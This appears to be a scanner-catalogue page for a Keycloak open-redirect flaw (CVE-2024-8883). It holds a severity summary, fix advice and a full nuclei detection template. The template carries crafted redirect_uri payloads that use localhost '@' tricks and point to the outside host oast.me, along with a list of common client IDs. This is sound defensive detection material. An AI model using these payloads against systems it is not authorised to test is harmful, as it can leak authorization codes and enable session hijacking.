Keycloak - Open Redirect

mediumseverity

6.8CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a 'Valid Redirect URI' is set to http://localhost or http://127.0.0.1, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.

Impact

Attackers can redirect users to malicious URLs and capture sensitive information such as authorization codes and session tokens, potentially leading to session hijacking and account compromise.

Fix

Update Keycloak configuration to avoid using localhost or 127.0.0.1 as Valid Redirect URIs, and apply security patches addressing the open redirect vulnerability.

How to confirm it

Send: GET /realms/master/protocol/openid-connect/auth?client_id={{client_id}}&redirect_uri={{redir_host}}:80@{{redirect_uri}}
Positive when: matches in header /Location:\s+https?://(localhost|127.0.0.1|\[::\]):\d*@oast\.me\?/ AND status 302

Run it with nuclei: nuclei -id CVE-2024-8883 -u <target>

The full check

id: CVE-2024-8883

info:
  name: Keycloak - Open Redirect
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a 'Valid Redirect URI' is set to http://localhost or http://127.0.0.1, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.
  impact: |
    Attackers can redirect users to malicious URLs and capture sensitive information such as authorization codes and session tokens, potentially leading to session hijacking and account compromise.
  remediation: |
    Update Keycloak configuration to avoid using localhost or 127.0.0.1 as Valid Redirect URIs, and apply security patches addressing the open redirect vulnerability.
  reference:
    - https://github.com/advisories/GHSA-vvf8-2h68-9475
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8883
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
    cvss-score: 6.8
    cve-id: CVE-2024-8883
    cwe-id: CWE-601
    epss-score: 0.02112
    epss-percentile: 0.81959
  metadata:
    max-request: 1
    verified: true
    shodan-query: title:"keycloak"
  tags: cve,cve2024,keycloak,redirect,vuln,vkev

variables:
  redirect_uri: "oast.me"

http:
  - raw:
      - |
        GET /realms/master/protocol/openid-connect/auth?client_id={{client_id}}&redirect_uri={{redir_host}}:80@{{redirect_uri}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      redir_host:
        - http://localhost
        - http://127.0.0.1
        - https://localhost
        - https://127.0.0.1
        - http://[::]
        - https://[::]

      client_id:
        - security-admin-console
        - master-realm
        - broker
        - admin-cli
        - account
        - account-console

    attack: clusterbomb

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - 'Location:\s+https?://(localhost|127.0.0.1|\[::\]):\d*@oast\.me\?'

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from